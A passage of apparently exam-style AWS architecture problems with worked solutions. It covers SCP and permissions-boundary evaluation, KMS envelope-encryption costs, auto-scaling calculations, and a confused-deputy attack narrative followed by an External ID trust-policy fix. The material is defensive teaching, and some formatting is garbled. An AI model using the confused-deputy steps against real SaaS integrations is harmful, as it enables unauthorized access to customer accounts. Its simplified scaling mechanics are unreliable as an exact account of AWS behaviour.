• Action: ec2:RunInstances, Region: ap-southeast-1, Tag: Owner = "Engineering".

1. SCP Evaluation:

- Statement 2 denies any action if aws:RequestedRegion is NOT us-east-1 or eu-central-1.

- The requested region is ap-southeast-1. The condition is TRUE.

- The SCP issues an Explicit Deny at the Organization root boundary.

- Evaluation halts immediately. No account-level policy can override an SCP Deny.

• Final Decision for Request C: DENY (Forbidden region in SCP).

Analysis of Request D:

• Action: s3:GetObject, Region: us-east-1.

1. SCP Evaluation: Allowed.

2. Permissions Boundary Evaluation:

- The Permissions Boundary explicitly restricts actions to ec2:*.

- Action s3:GetObject is NOT present in the Permissions Boundary allow statement.

- Because permissions boundaries define the maximum possible permissions, any action outside the boundary is implicitly dropped.

3. Identity-Based Policy Evaluation:

- The identity policy does not grant s3:GetObject.

• Final Decision for Request D: DENY (Implicit Deny; blocked by Permissions Boundary).

Problem 2: Envelope Encryption Cryptographic Mechanics & Throughput Overhead Modeling#

Scenario: A high-throughput telemetry ingestion platform deployed on AWS processes 5,000 log files per second. Each file averages 200 Kilobytes in size. All files must be encrypted at rest before writing to Amazon S3.

The architecture team evaluates two encryption approaches:

• Approach 1 (Direct KMS API Encryption): The ingestion workers call kms:Encrypt directly for every file payload.
• Approach 2 (Envelope Encryption with Local DEK Caching): The ingestion workers request a single Data Encryption Key (DEK) via kms:GenerateDataKey once every 60 seconds. The Plaintext DEK is cached in volatile worker RAM to encrypt all 200 KB files locally using hardware-accelerated AES-256-GCM (Intel AES-NI instructions). The encrypted DEK ciphertext is appended to each file's header.

AWS KMS pricing and operational constraints:

• AWS KMS API cost: $0.03 per 10,000 API requests.
• AWS KMS account-level hard rate limit: 10,000 requests per second.
• AES-256-GCM local cryptographic processing throughput: 2.5 Gigabytes per second per server node.
• Maximum payload size supported by kms:Encrypt API: 4 Kilobytes (4,096 bytes).

Task:

1. Evaluate the technical feasibility of Approach 1. Can Approach 1 mathematically and functionally support this workload? Explain why or why not.
2. Under Approach 2, calculate the total number of KMS API calls executed per second and per month (assume 30 days per month).
3. Calculate the monthly financial cost of KMS API calls under Approach 2.
4. If the ingestion fleet consists of 10 worker servers running concurrently (each worker maintaining its own local 60-second DEK cache), calculate the total monthly KMS cost and verify if the KMS rate limits are respected.

Step-by-Step Solution:

Step 1: Technical feasibility of Approach 1:

Approach 1 suffers from two fatal architectural blockers:

1. Payload Size Hard Limit: AWS KMS kms:Encrypt has a hard, unalterable maximum payload limit of 4 Kilobytes (4,096 bytes). It is designed solely for encrypting small secrets or keys, not large files. Because the average file size is 200 Kilobytes, kms:Encrypt will fail immediately with a ValidationException error.
2. API Throughput Exhaustion: Processing 5,000 files/sec requires 5,000 kms:Encrypt calls/sec. This would consume 50% of the entire AWS account's 10,000 req/sec limit, leaving virtually zero headroom for other services and risking catastrophic throttling during traffic spikes.
3. Verdict: Approach 1 is technically and operationally unviable.

Step 2: KMS API calls under Approach 2 (Single worker model):

• A single worker requests one DEK every 60 seconds via kms:GenerateDataKey.
• API Call Rate:

API Rate = (1 call) / (60 seconds) ≈ 0.0167 calls per second- In 60 seconds, at 5,000 files/sec, that single DEK encrypts:

5,000 × 60 = 300,000 files (representing 300,000 × 200 KB = 60 Gigabytes of data)- Total seconds per month (30 days):

30 days × 24 hours × 3,600 seconds = 2,592,000 seconds- Total monthly KMS API calls (Single Worker):

(2,592,000 seconds) / (60 seconds/call) = 43,200 KMS API calls per monthStep 3: Monthly KMS API cost (Single worker):

• Rate: $0.03 per 10,000 requests.

Cost = (43,200 / 10,000) × \0.03 = 4.32 × \0.03 = \$0.13 per monthStep 4: Fleet analysis (10 concurrent worker servers):

• Each of the 10 worker servers independently caches its own DEK for 60 seconds.
• Total monthly KMS API calls for 10 servers:

10 × 43,200 = 432,000 calls per month- Total monthly KMS cost:

(432,000 / 10,000) × \0.03 = 43.2 × \0.03 = \$1.30 per month- Aggregate KMS API rate:

10 servers × 0.0167 calls/sec = 0.167 requests per second- Rate Limit Verification: 0.167 req/sec consumes only 0.00167% of the 10,000 req/sec limit.

• Conclusion: Envelope Encryption reduces cryptographic API costs from theoretical thousands of dollars down to $1.30 per month while enabling full-speed local hardware encryption.

Problem 3: Horizontal Auto-Scaling Target Tracking Cooldown & Hysteresis Stability Analysis#

Scenario: A containerized microservice cluster operates inside an AWS Auto Scaling Group behind an Application Load Balancer. The fleet currently runs C = 8 identical instances.

The scaling policy is configured as a Target Tracking Policy targeting an average aggregate CPU utilization of T = 60\%.

The system configuration parameters are:

• Target Metric (T): 60% CPU utilization.
• Current Capacity (C_{current}): 8 instances.
• Scale-Out Cooldown: 180 seconds.
• Scale-In Cooldown: 300 seconds.
• Metric Evaluation Interval: 60 seconds.

At timestamp t = 0$, a sudden marketing campaign drives an unexpected traffic surge. The CloudWatch metric reports average fleet CPU jumping to M_1 = 84\%.

At timestamp t = 120 seconds, while instances are still booting, CPU spikes further to M_2 = 90\%.

At timestamp t = 360 seconds, traffic subsides abruptly, and average fleet CPU collapses to M_3 = 24\%.

Task:

1. Using the Target Tracking scaling formula:

C_{desired} = ceil(C_{current} × (M / T))Calculate the desired instance capacity triggered at t = 0. How many instances are added?

1. Determine what action the Auto Scaling engine takes at t = 120 seconds when CPU reaches 90%. Explain the exact mechanism governing this decision.
2. Calculate the desired capacity and scaling action triggered at t = 360 seconds when CPU collapses to 24%.
3. Explain how hysteresis controls (asymmetric cooldowns: 180s scale-out vs. 300s scale-in) protect the application against flapping and premature capacity eviction.

Step-by-Step Solution:

Step 1: Scaling calculation at t = 0 (M_1 = 84\%):

• Current Capacity: C = 8.
• Target: T = 60\%.
• Current Metric: M_1 = 84\%.
• Desired Capacity calculation:

C_{desired} = ceil(8 × (84 / 60)) = ceil(8 × 1.40) = ceil(11.2) = 12 instances- Action: The Auto Scaling engine immediately triggers a Scale-Out event, adding $12 - 8 = 4 new instances.

• The 180-second Scale-Out Cooldown timer is initialized (active from t = 0 until t = 180 seconds).

Step 2: Engine evaluation at t = 120 seconds (M_2 = 90\%):

• The timestamp is t = 120 seconds.
• The system is currently inside the 180-second cooldown window ($120 < 180).
• During scale-out cooldown, instances launched at t = 0 are still running EC2 initialization scripts, pulling container images, and executing health checks.
• While standard simple scaling locks all actions during cooldown, Target Tracking policies are designed to be responsive: if a higher scale-out demand arrives, Target Tracking recalculates capacity based on the unready instances already in progress.

- Formula: ceil(8 × (90 / 60)) = ceil(8 × 1.50) = 12 instances.

- Because the target capacity of 12 instances is already provisioned and currently booting, the engine does NOT add additional instances.

• Action: No additional capacity added. The system waits for the 4 booting instances to join the active target group.

Step 3: Scaling calculation at t = 360 seconds (M_3 = 24\%):

• At t = 360 seconds, the active fleet size is now C_{current} = 12 instances.
• The scale-out cooldown (ended at t = 180) has expired.
• Measured metric: M_3 = 24\%.
• Desired Capacity calculation:

C_{desired} = ceil(12 × (24 / 60)) = ceil(12 × 0.40) = ceil(4.8) = 5 instances- The scale-in delta: $12 - 5 = 7 instances to remove.

• Action: The Auto Scaling engine initiates a Scale-In event. It selects 7 instances for termination based on the termination policy (e.g., OldestLaunchTemplate, balancing across AZs).
• The instances enter the load balancer's deregistration delay (connection draining), in-flight requests finish, and instances are safely terminated.
• The 300-second Scale-In Cooldown timer is activated.

Step 4: The role of asymmetric hysteresis cooldowns:

• Why Scale-In Cooldown is Longer (300s vs 180s): Terminating compute capacity is irreversible. If an application experiences a temporary 1-minute lull in traffic between micro-bursts, a hasty scale-in action would kill warm instances. When traffic surges back 90 seconds later, the system would face severe capacity shortages and high latency while waiting for cold instances to boot.
• Setting the scale-in cooldown significantly higher (300 seconds) forces the cluster to stay conservatively provisioned, ensuring that low traffic is sustained before resources are dismantled.

Problem 4: Cross-Account Role Assumption & External ID Confused Deputy Mitigation#

Scenario: A SaaS analytics vendor (Account ID 999999999999) provides automated cloud security auditing for enterprise clients. A customer (Account ID 111111111111) wishes to grant the SaaS vendor read-only access to inspect their AWS CloudTrail logs and IAM configurations.

To enable this, the customer creates an IAM Role in Account 111111111111 named SaaSAuditRole with the following initial Trust Policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::999999999999:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

A malicious third party (Account ID 666666666666) is also a customer of the same SaaS vendor.

Task:

1. Explain the Confused Deputy Problem in the context of this cross-account configuration. Describe the step-by-step attack narrative showing how the attacker (Account 666666666666) can exploit the SaaS vendor to gain unauthorized read access to the victim's account (111111111111).
2. Identify the specific cryptographic and conditional IAM mechanism provided by AWS STS designed to completely eliminate this vulnerability.
3. Formulate the remediated, production-hardened IAM Trust Policy that customer 111111111111 must deploy to prevent the Confused Deputy attack.

Step-by-Step Solution:

Step 1: The Confused Deputy Attack Narrative:

A "confused deputy" is a service or application (possessing legitimate authority) that is tricked by an unauthorized party into executing actions on the unauthorized party's behalf.

• The Setup: The SaaS vendor's platform executes automated scans by assuming customer roles. The vendor's backend uses a shared IAM identity (e.g., arn:aws:iam::999999999999:role/ScannerBackend).
• The Exploit:

1. The attacker (Account 666666666666) registers for a legitimate free trial on the SaaS vendor's web portal.

2. In the vendor's settings dashboard, the portal asks the attacker: "Enter your AWS Role ARN to scan".

3. Instead of providing their own role ARN, the attacker enters the victim's Role ARN: arn:aws:iam::111111111111:role/SaaSAuditRole (which might be guessed or discovered through reconnaissance).

4. The SaaS backend blindly executes sts:AssumeRole specifying RoleArn: "arn:aws:iam::111111111111:role/SaaSAuditRole".

5. The victim's IAM Trust Policy only checks: "Is the caller Account 999999999999?"

6. Because the request originates from the SaaS vendor's legitimate scanner backend (999999999999), AWS STS validates the trust policy and issues temporary credentials for SaaSAuditRole to the SaaS vendor.

7. The SaaS vendor's automated audit runs against the victim's account and renders the audit report, security findings, and sensitive CloudTrail logs directly onto the attacker's dashboard.

• The SaaS vendor acted as a confused deputy, using its legitimate authority to compromise the victim.

Step 2: The Mitigation Mechanism (`sts:ExternalId`):

AWS resolves this through the External ID condition:

• The SaaS vendor generates a unique, unpredictable, cryptographically random secret string (External ID, e.g., a UUID v4: a8f3b4c1-92e5-4d7a-b108-68e1a7b88902) assigned exclusively to Customer 111111111111 during onboarding.
• Customer 111111111111 embeds this secret string into their IAM Trust Policy under a StringEquals: { "sts:ExternalId": "..." } condition block.
• When the SaaS vendor calls sts:AssumeRole, it must pass the External ID associated with the currently logged-in tenant.
• If the attacker enters the victim's ARN in the SaaS console, the SaaS backend passes the attacker's External ID. When STS evaluates the victim's trust policy, the External IDs do not match, and STS denies the request immediately.

Step 3: Remediated, Production-Hardened IAM Trust Policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowSaaSVendorWithExternalIdGuardrail",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::999999999999:root"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "a8f3b4c1-92e5-4d7a-b108-68e1a7b88902"
        }
      }
    }
  ]
}

By enforcing the sts:ExternalId condition, the victim guarantees that the SaaS vendor will only assume the role when explicitly operating on behalf of the genuine customer account.